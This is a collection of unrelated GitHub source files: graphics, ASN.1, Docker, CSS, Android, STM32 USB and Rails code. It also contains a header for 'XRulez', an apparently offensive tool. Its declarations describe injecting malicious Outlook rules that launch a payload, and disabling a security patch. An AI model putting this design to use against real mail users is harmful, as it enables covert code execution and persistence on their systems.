std::string inputPinString = nameToIndex.first + "." + dstFieldName;
std::string srcFieldName = currentEdge.srcField.empty() ? kOutPrefix + nameToIndex.first : currentEdge.srcField;
std::string outputPinString = pDestNode->second.name + "." + srcFieldName;
renderPassUI.addUIPin(srcFieldName, outputPinIndex, false, dstFieldName, pDestNode->second.name, isGraphOutput);
nodeConnectedOutput.insert(pinString);
}
// Now we know which nodes are connected within the graph and not
inputPinIndex = 0;
outputPinIndex = 0;
for (uint32_t i = 0; i < renderPassUI.mReflection.getFieldCount(); ++i)
{
const auto& currentField = *renderPassUI.mReflection.getField(i);
if (is_set(currentField.getVisibility(), RenderPassReflection::Field::Visibility::Input))
{
if (nodeConnectedInput.find(nameToIndex.first + "." + currentField.getName()) == nodeConnectedInput.end())
{
renderPassUI.addUIPin(currentField.getName(), inputPinIndex, true, "");
}
inputPinIndex++;
}
if (is_set(currentField.getVisibility(), RenderPassReflection::Field::Visibility::Output))
{
if (nodeConnectedOutput.find(nameToIndex.first + "." + currentField.getName()) == nodeConnectedOutput.end())
{
bool isGraphOutput = passGraphOutputs.find(currentField.getName()) != passGraphOutputs.end();
renderPassUI.addUIPin(currentField.getName(), outputPinIndex, false, "", "", isGraphOutput);
}
outputPinIndex++;
}
}
// unconnected nodes will be renamed when they are connected
if (!addedExecutionInput) renderPassUI.addUIPin(kInPrefix + nameToIndex.first, static_cast<uint32_t>( renderPassUI.mInputPins.size()), true, "", "", false);
if (!addedExecutionOutput) renderPassUI.addUIPin(kOutPrefix + nameToIndex.first, static_cast<uint32_t>(renderPassUI.mOutputPins.size()), false, "", "", false);
mRenderPassUI.emplace(std::make_pair(nameToIndex.first, std::move(renderPassUI)));
}
}
}
| {
"pile_set_name": "Github"
} |
using System.IO;
namespace Raksha.Asn1
{
public class BerSequenceGenerator
: BerGenerator
{
public BerSequenceGenerator(
Stream outStream)
: base(outStream)
{
WriteBerHeader(Asn1Tags.Constructed | Asn1Tags.Sequence);
}
public BerSequenceGenerator(
Stream outStream,
int tagNo,
bool isExplicit)
: base(outStream, tagNo, isExplicit)
{
WriteBerHeader(Asn1Tags.Constructed | Asn1Tags.Sequence);
}
}
}
| {
"pile_set_name": "Github"
} |
Name: Requirements Document for Example Comercial Pricing Module
IncludeRequirements: full
| {
"pile_set_name": "Github"
} |
package vmwarevsphere
import (
"testing"
"github.com/docker/machine/libmachine/drivers"
"github.com/stretchr/testify/assert"
)
func TestSetConfigFromFlags(t *testing.T) {
driver := NewDriver("default", "path")
checkFlags := &drivers.CheckDriverOptions{
FlagsValues: map[string]interface{}{},
CreateFlags: driver.GetCreateFlags(),
}
err := driver.SetConfigFromFlags(checkFlags)
assert.NoError(t, err)
assert.Empty(t, checkFlags.InvalidFlags)
}
| {
"pile_set_name": "Github"
} |
// CSS image replacement
//
// Heads up! v3 launched with only `.hide-text()`, but per our pattern for
// mixins being reused as classes with the same name, this doesn't hold up. As
// of v3.0.1 we have added `.text-hide()` and deprecated `.hide-text()`.
//
// Source: https://github.com/h5bp/html5-boilerplate/commit/aa0396eae757
// Deprecated as of v3.0.1 (has been removed in v4)
.hide-text() {
font: ~"0/0" a;
color: transparent;
text-shadow: none;
background-color: transparent;
border: 0;
}
// New mixin to use as of v3.0.1
.text-hide() {
.hide-text();
}
| {
"pile_set_name": "Github"
} |
package org.sunger.net.ui.widget;
import android.support.design.widget.TextInputLayout;
/**
* Created by sunger on 2015/11/17.
*/
public abstract class TextWatcher implements android.text.TextWatcher {
public String getEditString() {
return textInputLayout.getEditText().getText().toString();
}
private TextInputLayout textInputLayout;
public TextWatcher(TextInputLayout textInputLayout) {
this.textInputLayout = textInputLayout;
}
@Override
public void beforeTextChanged(CharSequence s, int start, int count, int after) {
}
@Override
public void onTextChanged(CharSequence s, int start, int before, int count) {
}
}
| {
"pile_set_name": "Github"
} |
/**
******************************************************************************
* @file stm32f7xx_ll_usb.h
* @author MCD Application Team
* @version V1.1.0
* @date 22-April-2016
* @brief Header file of USB Core HAL module.
******************************************************************************
* @attention
*
* <h2><center>© COPYRIGHT(c) 2016 STMicroelectronics</center></h2>
*
* Redistribution and use in source and binary forms, with or without modification,
* are permitted provided that the following conditions are met:
* 1. Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
* 3. Neither the name of STMicroelectronics nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
******************************************************************************
*/
/* Define to prevent recursive inclusion -------------------------------------*/
#ifndef __STM32F7xx_LL_USB_H
#define __STM32F7xx_LL_USB_H
#ifdef __cplusplus
extern "C" {
#endif
/* Includes ------------------------------------------------------------------*/
#include "stm32f7xx_hal_def.h"
/** @addtogroup STM32F7xx_HAL
* @{
*/
/** @addtogroup USB_Core
* @{
*/
/* Exported types ------------------------------------------------------------*/
/**
* @brief USB Mode definition
*/
typedef enum
{
USB_OTG_DEVICE_MODE = 0U,
USB_OTG_HOST_MODE = 1U,
USB_OTG_DRD_MODE = 2U
}USB_OTG_ModeTypeDef;
/**
* @brief URB States definition
*/
typedef enum {
URB_IDLE = 0U,
URB_DONE,
URB_NOTREADY,
URB_NYET,
URB_ERROR,
URB_STALL
}USB_OTG_URBStateTypeDef;
/**
* @brief Host channel States definition
*/
typedef enum {
HC_IDLE = 0U,
HC_XFRC,
HC_HALTED,
HC_NAK,
HC_NYET,
HC_STALL,
HC_XACTERR,
HC_BBLERR,
HC_DATATGLERR
}USB_OTG_HCStateTypeDef;
/**
* @brief PCD Initialization Structure definition
*/
typedef struct
{
uint32_t dev_endpoints; /*!< Device Endpoints number.
This parameter depends on the used USB core.
This parameter must be a number between Min_Data = 1 and Max_Data = 15 */
uint32_t Host_channels; /*!< Host Channels number.
This parameter Depends on the used USB core.
This parameter must be a number between Min_Data = 1 and Max_Data = 15 */
uint32_t speed; /*!< USB Core speed.
This parameter can be any value of @ref USB_Core_Speed_ */
uint32_t dma_enable; /*!< Enable or disable of the USB embedded DMA. */
uint32_t ep0_mps; /*!< Set the Endpoint 0 Max Packet size.
This parameter can be any value of @ref USB_EP0_MPS_ */
uint32_t phy_itface; /*!< Select the used PHY interface.
This parameter can be any value of @ref USB_Core_PHY_ */
uint32_t Sof_enable; /*!< Enable or disable the output of the SOF signal. */
uint32_t low_power_enable; /*!< Enable or disable the low power mode. */
uint32_t lpm_enable; /*!< Enable or disable Link Power Management. */
uint32_t vbus_sensing_enable; /*!< Enable or disable the VBUS Sensing feature. */
uint32_t use_dedicated_ep1; /*!< Enable or disable the use of the dedicated EP1 interrupt. */
uint32_t use_external_vbus; /*!< Enable or disable the use of the external VBUS. */
}USB_OTG_CfgTypeDef;
typedef struct
{
uint8_t num; /*!< Endpoint number
This parameter must be a number between Min_Data = 1 and Max_Data = 15 */
uint8_t is_in; /*!< Endpoint direction
This parameter must be a number between Min_Data = 0 and Max_Data = 1 */
uint8_t is_stall; /*!< Endpoint stall condition
This parameter must be a number between Min_Data = 0 and Max_Data = 1 */
uint8_t type; /*!< Endpoint type
This parameter can be any value of @ref USB_EP_Type_ */
uint8_t data_pid_start; /*!< Initial data PID
This parameter must be a number between Min_Data = 0 and Max_Data = 1 */
uint8_t even_odd_frame; /*!< IFrame parity
This parameter must be a number between Min_Data = 0 and Max_Data = 1 */
uint16_t tx_fifo_num; /*!< Transmission FIFO number
This parameter must be a number between Min_Data = 1 and Max_Data = 15 */
uint32_t maxpacket; /*!< Endpoint Max packet size
This parameter must be a number between Min_Data = 0 and Max_Data = 64KB */
uint8_t *xfer_buff; /*!< Pointer to transfer buffer */
uint32_t dma_addr; /*!< 32 bits aligned transfer buffer address */
uint32_t xfer_len; /*!< Current transfer length */
uint32_t xfer_count; /*!< Partial transfer length in case of multi packet transfer */
}USB_OTG_EPTypeDef;
typedef struct
{
uint8_t dev_addr ; /*!< USB device address.
This parameter must be a number between Min_Data = 1 and Max_Data = 255 */
uint8_t ch_num; /*!< Host channel number.
This parameter must be a number between Min_Data = 1 and Max_Data = 15 */
uint8_t ep_num; /*!< Endpoint number.
This parameter must be a number between Min_Data = 1 and Max_Data = 15 */
uint8_t ep_is_in; /*!< Endpoint direction
This parameter must be a number between Min_Data = 0 and Max_Data = 1 */
uint8_t speed; /*!< USB Host speed.
This parameter can be any value of @ref USB_Core_Speed_ */
uint8_t do_ping; /*!< Enable or disable the use of the PING protocol for HS mode. */
uint8_t process_ping; /*!< Execute the PING protocol for HS mode. */
uint8_t ep_type; /*!< Endpoint Type.
This parameter can be any value of @ref USB_EP_Type_ */
uint16_t max_packet; /*!< Endpoint Max packet size.
This parameter must be a number between Min_Data = 0 and Max_Data = 64KB */
uint8_t data_pid; /*!< Initial data PID.
This parameter must be a number between Min_Data = 0 and Max_Data = 1 */
uint8_t *xfer_buff; /*!< Pointer to transfer buffer. */
uint32_t xfer_len; /*!< Current transfer length. */
uint32_t xfer_count; /*!< Partial transfer length in case of multi packet transfer. */
uint8_t toggle_in; /*!< IN transfer current toggle flag.
This parameter must be a number between Min_Data = 0 and Max_Data = 1 */
uint8_t toggle_out; /*!< OUT transfer current toggle flag
This parameter must be a number between Min_Data = 0 and Max_Data = 1 */
uint32_t dma_addr; /*!< 32 bits aligned transfer buffer address. */
uint32_t ErrCnt; /*!< Host channel error count.*/
USB_OTG_URBStateTypeDef urb_state; /*!< URB state.
This parameter can be any value of @ref USB_OTG_URBStateTypeDef */
USB_OTG_HCStateTypeDef state; /*!< Host Channel state.
This parameter can be any value of @ref USB_OTG_HCStateTypeDef */
}USB_OTG_HCTypeDef;
/* Exported constants --------------------------------------------------------*/
/** @defgroup PCD_Exported_Constants PCD Exported Constants
* @{
*/
/** @defgroup USB_Core_Mode_ USB Core Mode
* @{
*/
#define USB_OTG_MODE_DEVICE 0U
#define USB_OTG_MODE_HOST 1U
#define USB_OTG_MODE_DRD 2U
/**
* @}
*/
/** @defgroup USB_Core_Speed_ USB Core Speed
* @{
*/
#define USB_OTG_SPEED_HIGH 0U
#define USB_OTG_SPEED_HIGH_IN_FULL 1U
#define USB_OTG_SPEED_LOW 2U
#define USB_OTG_SPEED_FULL 3U
/**
* @}
*/
/** @defgroup USB_Core_PHY_ USB Core PHY
* @{
*/
#define USB_OTG_ULPI_PHY 1U
#define USB_OTG_EMBEDDED_PHY 2U
/**
* @}
*/
/** @defgroup USB_Core_MPS_ USB Core MPS
* @{
*/
#define USB_OTG_HS_MAX_PACKET_SIZE 512U
#define USB_OTG_FS_MAX_PACKET_SIZE 64U
#define USB_OTG_MAX_EP0_SIZE 64U
/**
* @}
*/
/** @defgroup USB_Core_Phy_Frequency_ USB Core Phy Frequency
* @{
*/
#define DSTS_ENUMSPD_HS_PHY_30MHZ_OR_60MHZ (0 << 1)
#define DSTS_ENUMSPD_FS_PHY_30MHZ_OR_60MHZ (1 << 1)
#define DSTS_ENUMSPD_LS_PHY_6MHZ (2 << 1)
#define DSTS_ENUMSPD_FS_PHY_48MHZ (3 << 1)
/**
* @}
*/
/** @defgroup USB_CORE_Frame_Interval_ USB CORE Frame Interval
* @{
*/
#define DCFG_FRAME_INTERVAL_80 0U
#define DCFG_FRAME_INTERVAL_85 1U
#define DCFG_FRAME_INTERVAL_90 2U
#define DCFG_FRAME_INTERVAL_95 3U
/**
* @}
*/
/** @defgroup USB_EP0_MPS_ USB EP0 MPS
* @{
*/
#define DEP0CTL_MPS_64 0U
#define DEP0CTL_MPS_32 1U
#define DEP0CTL_MPS_16 2U
#define DEP0CTL_MPS_8 3U
/**
* @}
*/
/** @defgroup USB_EP_Speed_ USB EP Speed
* @{
*/
#define EP_SPEED_LOW 0U
#define EP_SPEED_FULL 1U
#define EP_SPEED_HIGH 2U
/**
* @}
*/
/** @defgroup USB_EP_Type_ USB EP Type
* @{
*/
#define EP_TYPE_CTRL 0U
#define EP_TYPE_ISOC 1U
#define EP_TYPE_BULK 2U
#define EP_TYPE_INTR 3U
#define EP_TYPE_MSK 3U
/**
* @}
*/
/** @defgroup USB_STS_Defines_ USB STS Defines
* @{
*/
#define STS_GOUT_NAK 1U
#define STS_DATA_UPDT 2U
#define STS_XFER_COMP 3U
#define STS_SETUP_COMP 4U
#define STS_SETUP_UPDT 6U
/**
* @}
*/
/** @defgroup HCFG_SPEED_Defines_ HCFG SPEED Defines
* @{
*/
#define HCFG_30_60_MHZ 0U
#define HCFG_48_MHZ 1U
#define HCFG_6_MHZ 2U
/**
* @}
*/
/** @defgroup HPRT0_PRTSPD_SPEED_Defines_ HPRT0 PRTSPD SPEED Defines
* @{
*/
#define HPRT0_PRTSPD_HIGH_SPEED 0U
#define HPRT0_PRTSPD_FULL_SPEED 1U
#define HPRT0_PRTSPD_LOW_SPEED 2U
/**
* @}
*/
#define HCCHAR_CTRL 0U
#define HCCHAR_ISOC 1U
#define HCCHAR_BULK 2U
#define HCCHAR_INTR 3U
#define HC_PID_DATA0 0U
#define HC_PID_DATA2 1U
#define HC_PID_DATA1 2U
#define HC_PID_SETUP 3U
#define GRXSTS_PKTSTS_IN 2U
#define GRXSTS_PKTSTS_IN_XFER_COMP 3U
#define GRXSTS_PKTSTS_DATA_TOGGLE_ERR 5U
#define GRXSTS_PKTSTS_CH_HALTED 7U
#define USBx_PCGCCTL *(__IO uint32_t *)((uint32_t)USBx + USB_OTG_PCGCCTL_BASE)
#define USBx_HPRT0 *(__IO uint32_t *)((uint32_t)USBx + USB_OTG_HOST_PORT_BASE)
#define USBx_DEVICE ((USB_OTG_DeviceTypeDef *)((uint32_t )USBx + USB_OTG_DEVICE_BASE))
#define USBx_INEP(i) ((USB_OTG_INEndpointTypeDef *)((uint32_t)USBx + USB_OTG_IN_ENDPOINT_BASE + (i)*USB_OTG_EP_REG_SIZE))
#define USBx_OUTEP(i) ((USB_OTG_OUTEndpointTypeDef *)((uint32_t)USBx + USB_OTG_OUT_ENDPOINT_BASE + (i)*USB_OTG_EP_REG_SIZE))
#define USBx_DFIFO(i) *(__IO uint32_t *)((uint32_t)USBx + USB_OTG_FIFO_BASE + (i) * USB_OTG_FIFO_SIZE)
#define USBx_HOST ((USB_OTG_HostTypeDef *)((uint32_t )USBx + USB_OTG_HOST_BASE))
#define USBx_HC(i) ((USB_OTG_HostChannelTypeDef *)((uint32_t)USBx + USB_OTG_HOST_CHANNEL_BASE + (i)*USB_OTG_HOST_CHANNEL_SIZE))
/**
* @}
*/
/* Exported macro ------------------------------------------------------------*/
#define USB_MASK_INTERRUPT(__INSTANCE__, __INTERRUPT__) ((__INSTANCE__)->GINTMSK &= ~(__INTERRUPT__))
#define USB_UNMASK_INTERRUPT(__INSTANCE__, __INTERRUPT__) ((__INSTANCE__)->GINTMSK |= (__INTERRUPT__))
#define CLEAR_IN_EP_INTR(__EPNUM__, __INTERRUPT__) (USBx_INEP(__EPNUM__)->DIEPINT = (__INTERRUPT__))
#define CLEAR_OUT_EP_INTR(__EPNUM__, __INTERRUPT__) (USBx_OUTEP(__EPNUM__)->DOEPINT = (__INTERRUPT__))
/* Exported functions --------------------------------------------------------*/
HAL_StatusTypeDef USB_CoreInit(USB_OTG_GlobalTypeDef *USBx, USB_OTG_CfgTypeDef Init);
HAL_StatusTypeDef USB_DevInit(USB_OTG_GlobalTypeDef *USBx, USB_OTG_CfgTypeDef Init);
HAL_StatusTypeDef USB_EnableGlobalInt(USB_OTG_GlobalTypeDef *USBx);
HAL_StatusTypeDef USB_DisableGlobalInt(USB_OTG_GlobalTypeDef *USBx);
HAL_StatusTypeDef USB_SetCurrentMode(USB_OTG_GlobalTypeDef *USBx , USB_OTG_ModeTypeDef mode);
HAL_StatusTypeDef USB_SetDevSpeed(USB_OTG_GlobalTypeDef *USBx , uint8_t speed);
HAL_StatusTypeDef USB_FlushRxFifo (USB_OTG_GlobalTypeDef *USBx);
HAL_StatusTypeDef USB_FlushTxFifo (USB_OTG_GlobalTypeDef *USBx, uint32_t num );
HAL_StatusTypeDef USB_ActivateEndpoint(USB_OTG_GlobalTypeDef *USBx, USB_OTG_EPTypeDef *ep);
HAL_StatusTypeDef USB_DeactivateEndpoint(USB_OTG_GlobalTypeDef *USBx, USB_OTG_EPTypeDef *ep);
HAL_StatusTypeDef USB_ActivateDedicatedEndpoint(USB_OTG_GlobalTypeDef *USBx, USB_OTG_EPTypeDef *ep);
HAL_StatusTypeDef USB_DeactivateDedicatedEndpoint(USB_OTG_GlobalTypeDef *USBx, USB_OTG_EPTypeDef *ep);
HAL_StatusTypeDef USB_EPStartXfer(USB_OTG_GlobalTypeDef *USBx , USB_OTG_EPTypeDef *ep, uint8_t dma);
HAL_StatusTypeDef USB_EP0StartXfer(USB_OTG_GlobalTypeDef *USBx , USB_OTG_EPTypeDef *ep, uint8_t dma);
HAL_StatusTypeDef USB_WritePacket(USB_OTG_GlobalTypeDef *USBx, uint8_t *src, uint8_t ch_ep_num, uint16_t len, uint8_t dma);
void * USB_ReadPacket(USB_OTG_GlobalTypeDef *USBx, uint8_t *dest, uint16_t len);
HAL_StatusTypeDef USB_EPSetStall(USB_OTG_GlobalTypeDef *USBx , USB_OTG_EPTypeDef *ep);
HAL_StatusTypeDef USB_EPClearStall(USB_OTG_GlobalTypeDef *USBx , USB_OTG_EPTypeDef *ep);
HAL_StatusTypeDef USB_SetDevAddress (USB_OTG_GlobalTypeDef *USBx, uint8_t address);
HAL_StatusTypeDef USB_DevConnect (USB_OTG_GlobalTypeDef *USBx);
HAL_StatusTypeDef USB_DevDisconnect (USB_OTG_GlobalTypeDef *USBx);
HAL_StatusTypeDef USB_StopDevice(USB_OTG_GlobalTypeDef *USBx);
HAL_StatusTypeDef USB_ActivateSetup (USB_OTG_GlobalTypeDef *USBx);
HAL_StatusTypeDef USB_EP0_OutStart(USB_OTG_GlobalTypeDef *USBx, uint8_t dma, uint8_t *psetup);
uint8_t USB_GetDevSpeed(USB_OTG_GlobalTypeDef *USBx);
uint32_t USB_GetMode(USB_OTG_GlobalTypeDef *USBx);
uint32_t USB_ReadInterrupts (USB_OTG_GlobalTypeDef *USBx);
uint32_t USB_ReadDevAllOutEpInterrupt (USB_OTG_GlobalTypeDef *USBx);
uint32_t USB_ReadDevOutEPInterrupt (USB_OTG_GlobalTypeDef *USBx , uint8_t epnum);
uint32_t USB_ReadDevAllInEpInterrupt (USB_OTG_GlobalTypeDef *USBx);
uint32_t USB_ReadDevInEPInterrupt (USB_OTG_GlobalTypeDef *USBx , uint8_t epnum);
void USB_ClearInterrupts (USB_OTG_GlobalTypeDef *USBx, uint32_t interrupt);
HAL_StatusTypeDef USB_HostInit (USB_OTG_GlobalTypeDef *USBx, USB_OTG_CfgTypeDef cfg);
HAL_StatusTypeDef USB_InitFSLSPClkSel(USB_OTG_GlobalTypeDef *USBx , uint8_t freq);
HAL_StatusTypeDef USB_ResetPort(USB_OTG_GlobalTypeDef *USBx);
HAL_StatusTypeDef USB_DriveVbus (USB_OTG_GlobalTypeDef *USBx, uint8_t state);
uint32_t USB_GetHostSpeed (USB_OTG_GlobalTypeDef *USBx);
uint32_t USB_GetCurrentFrame (USB_OTG_GlobalTypeDef *USBx);
HAL_StatusTypeDef USB_HC_Init(USB_OTG_GlobalTypeDef *USBx,
uint8_t ch_num,
uint8_t epnum,
uint8_t dev_address,
uint8_t speed,
uint8_t ep_type,
uint16_t mps);
HAL_StatusTypeDef USB_HC_StartXfer(USB_OTG_GlobalTypeDef *USBx, USB_OTG_HCTypeDef *hc, uint8_t dma);
uint32_t USB_HC_ReadInterrupt (USB_OTG_GlobalTypeDef *USBx);
HAL_StatusTypeDef USB_HC_Halt(USB_OTG_GlobalTypeDef *USBx , uint8_t hc_num);
HAL_StatusTypeDef USB_DoPing(USB_OTG_GlobalTypeDef *USBx , uint8_t ch_num);
HAL_StatusTypeDef USB_StopHost(USB_OTG_GlobalTypeDef *USBx);
/**
* @}
*/
/**
* @}
*/
#ifdef __cplusplus
}
#endif
#endif /* __STM32F7xx_LL_USB_H */
/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
| {
"pile_set_name": "Github"
} |
require 'active_support/dependencies'
module AbstractController
module Helpers
extend ActiveSupport::Concern
included do
class_attribute :_helpers
self._helpers = Module.new
class_attribute :_helper_methods
self._helper_methods = Array.new
end
class MissingHelperError < LoadError
def initialize(error, path)
@error = error
@path = "helpers/#{path}.rb"
set_backtrace error.backtrace
if error.path =~ /^#{path}(\.rb)?$/
super("Missing helper file helpers/%s.rb" % path)
else
raise error
end
end
end
module ClassMethods
# When a class is inherited, wrap its helper module in a new module.
# This ensures that the parent class's module can be changed
# independently of the child class's.
def inherited(klass)
helpers = _helpers
klass._helpers = Module.new { include helpers }
klass.class_eval { default_helper_module! } unless klass.anonymous?
super
end
# Declare a controller method as a helper. For example, the following
# makes the +current_user+ and +logged_in?+ controller methods available
# to the view:
# class ApplicationController < ActionController::Base
# helper_method :current_user, :logged_in?
#
# def current_user
# @current_user ||= User.find_by(id: session[:user])
# end
#
# def logged_in?
# current_user != nil
# end
# end
#
# In a view:
# <% if logged_in? -%>Welcome, <%= current_user.name %><% end -%>
#
# ==== Parameters
# * <tt>method[, method]</tt> - A name or names of a method on the controller
# to be made available on the view.
def helper_method(*meths)
meths.flatten!
self._helper_methods += meths
meths.each do |meth|
_helpers.class_eval <<-ruby_eval, __FILE__, __LINE__ + 1
def #{meth}(*args, &blk) # def current_user(*args, &blk)
controller.send(%(#{meth}), *args, &blk) # controller.send(:current_user, *args, &blk)
end # end
ruby_eval
end
end
# The +helper+ class method can take a series of helper module names, a block, or both.
#
# ==== Options
# * <tt>*args</tt> - Module, Symbol, String
# * <tt>block</tt> - A block defining helper methods
#
# When the argument is a module it will be included directly in the template class.
# helper FooHelper # => includes FooHelper
#
# When the argument is a string or symbol, the method will provide the "_helper" suffix, require the file
# and include the module in the template class. The second form illustrates how to include custom helpers
# when working with namespaced controllers, or other cases where the file containing the helper definition is not
# in one of Rails' standard load paths:
# helper :foo # => requires 'foo_helper' and includes FooHelper
# helper 'resources/foo' # => requires 'resources/foo_helper' and includes Resources::FooHelper
#
# Additionally, the +helper+ class method can receive and evaluate a block, making the methods defined available
# to the template.
#
# # One line
# helper { def hello() "Hello, world!" end }
#
# # Multi-line
# helper do
# def foo(bar)
# "#{bar} is the very best"
# end
# end
#
# Finally, all the above styles can be mixed together, and the +helper+ method can be invoked with a mix of
# +symbols+, +strings+, +modules+ and blocks.
#
# helper(:three, BlindHelper) { def mice() 'mice' end }
#
def helper(*args, &block)
modules_for_helpers(args).each do |mod|
add_template_helper(mod)
end
_helpers.module_eval(&block) if block_given?
end
# Clears up all existing helpers in this class, only keeping the helper
# with the same name as this class.
def clear_helpers
inherited_helper_methods = _helper_methods
self._helpers = Module.new
self._helper_methods = Array.new
inherited_helper_methods.each { |meth| helper_method meth }
default_helper_module! unless anonymous?
end
# Returns a list of modules, normalized from the acceptable kinds of
# helpers with the following behavior:
#
# String or Symbol:: :FooBar or "FooBar" becomes "foo_bar_helper",
# and "foo_bar_helper.rb" is loaded using require_dependency.
#
# Module:: No further processing
#
# After loading the appropriate files, the corresponding modules
# are returned.
#
# ==== Parameters
# * <tt>args</tt> - An array of helpers
#
# ==== Returns
# * <tt>Array</tt> - A normalized list of modules for the list of
# helpers provided.
def modules_for_helpers(args)
args.flatten.map! do |arg|
case arg
when String, Symbol
file_name = "#{arg.to_s.underscore}_helper"
begin
require_dependency(file_name)
rescue LoadError => e
raise AbstractController::Helpers::MissingHelperError.new(e, file_name)
end
mod_name = file_name.camelize
begin
mod_name.constantize
rescue LoadError
# dependencies.rb gives a similar error message but its wording is
# not as clear because it mentions autoloading. To the user all it
# matters is that a helper module couldn't be loaded, autoloading
# is an internal mechanism that should not leak.
raise NameError, "Couldn't find #{mod_name}, expected it to be defined in helpers/#{file_name}.rb"
end
when Module
arg
else
raise ArgumentError, "helper must be a String, Symbol, or Module"
end
end
end
private
# Makes all the (instance) methods in the helper module available to templates
# rendered through this controller.
#
# ==== Parameters
# * <tt>module</tt> - The module to include into the current helper module
# for the class
def add_template_helper(mod)
_helpers.module_eval { include mod }
end
def default_helper_module!
module_name = name.sub(/Controller$/, ''.freeze)
module_path = module_name.underscore
helper module_path
rescue LoadError => e
raise e unless e.is_missing? "helpers/#{module_path}_helper"
rescue NameError => e
raise e unless e.missing_name? "#{module_name}Helper"
end
end
end
end
| {
"pile_set_name": "Github"
} |
#pragma once
/// @brief XRulez-specific code name space.
namespace XRulez
{
/// XRulez Application structure.
struct Application
{
/// This class can be instantiated only in the entry point of the application.
friend int ::Main();
/// Public destructor.
~Application() { }
protected:
/// Protected ctor, used to supply members with default values. It is one of two ways to configure XRulezDll. When running from an EXE, there are three ways in total. See @ref XRulezConfigurations and @ref BuildingXRulezFromCL for details.
Application();
/// Main function of XRulez application.
/// @return true if succeed.
bool Process();
/// Settings used by both XRulezExe and XRulezDll.
std::tstring m_ProfileName; ///< Outlook profile name used to log in. Has to be shorter than 66 characters. Leave it blank to use default profile name.
std::wstring m_RuleName; ///< This name will be seen on Outlook's rule list. Has to be shorter than 256 characters.
std::wstring m_TriggerText; ///< Text in email subject that triggers payload launching. Has to be shorter than 256 characters.
std::wstring m_RulePayloadPath; ///< Path to payload. Has to be shorter than 256 characters.
bool m_IsRunningInWindowsService; ///< Should be true if run as (or injected to) a Windows Service. @see MAPIInitialize on MSDN.
/// Switches used only by XRulezDll.
bool m_IsRunningInMultithreadedProcess; ///< Should be set to true if injected to multi-threaded process. @see MAPIInitialize on MSDN.
private:
/// Validates and resolves (compilation) command-line parameters. This will be also used by XRulezBuilder.
/// @return false if parameters are not valid and program should exit.
bool ProcessInputParameters();
/// Update source-code-defined default values with compilation command-line values. This will be also used by XRulezBuilder.
void ProcessPreprocessorParameters();
/// Update default values with string table entries. This is also used by XRMod.
void DllProcessStringTableParameters();
/// Processes executable's input. Should not be called from DLL builds.
/// @return false if parameters are not valid and program should exit.
void ExeProcessParameters();
/// Displays usage/help. Should not be called from DLL builds.
/// @param error if set then output message is slightly changed and std::terr instead of std::tcout is used.
void ExeShowUsage(bool error);
/// Displays parameters default (precompiled) values. Should not be called from DLL builds.
void ExeShowDefaultParamsValues();
/// Checks if Outlook is running at the moment. Should not be called from DLL builds.
void ExeCheckIfOutlookIsRunning();
/// Executable command line processing helper function. Should not be called from DLL builds.
/// @return false if parameters are not valid and program should exit.
/// @see HandleSingleCommand.
bool ExeProcessCommandLineValues();
/// Injects the malicious rule.
/// @return true if succeeded to inject the rule.
bool PerformInjection();
/// Disables security patch KB3191883 (re-enables run-actions for Outlook 2010, 2013 and 2016).
void ExeDisableSecurityPatchKB3191883();
/// Another executable command line processing helper function. Handles one single command-line command. Should not be called from DLL builds.
/// @param commandKey name-part the a command to process.
/// @param commandValue value-part the a command to process.
/// @return false if parameters are not valid and program should exit.
/// @see ProcessCommandLineValues.
bool ExeHandleSingleCommand(const std::tstring& commandKey, const std::tstring& commandValue);
/// Performs interactive configuration. Should not be called from DLL builds.
void ExePerformInteractiveConfiguration();
/// Shows all existing rules.
void ExeDisplayAllRules();
/// Removes a rule from the server.
void ExeRemoveRule();
/// Displays a list of available MAPI profiles. Should not be called from DLL builds.
void ExeListOutlookProfiles();
/// Creates a short error message and puts it to Enviro::tcerr when running within executable. Does nothing on DLL builds.
/// @param functionName name of the function that returned error.
/// @param hresult code returned by said function.
void ReportError(const std::tstring& functionName, HRESULT hresult);
/// Creates a short error message and puts it to Enviro::tcerr when running within executable. Does nothing on DLL builds.
/// @param functionName name of the function that returned error.
/// @param enumName name of enum value that said function returned.
/// @param hresult code returned by said function.
void ReportError(const std::tstring& functionName, const std::tstring& enumName, HRESULT hresult);
/// Prints provided text in console window if run as an executable. In DLL builds does nothing.
/// @param comment text to print.
void Comment(const std::tstring& comment);
/// Prints provided text in console window if run as an executable. In DLL builds does nothing.
/// @param comment text to print.
void CommentError(const std::tstring& error);
};
}
| {
"pile_set_name": "Github"
} |
// Protocol Buffers - Google's data interchange format
// Copyright 2008 Google Inc. All rights reserved.
// https://developers.google.com/protocol-buffers/
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
//
// * Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
// * Redistributions in binary form must reproduce the above
// copyright notice, this list of conditions and the following disclaimer
// in the documentation and/or other materials provided with the
// distribution.
// * Neither the name of Google Inc. nor the names of its
// contributors may be used to endorse or promote products derived from
// this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
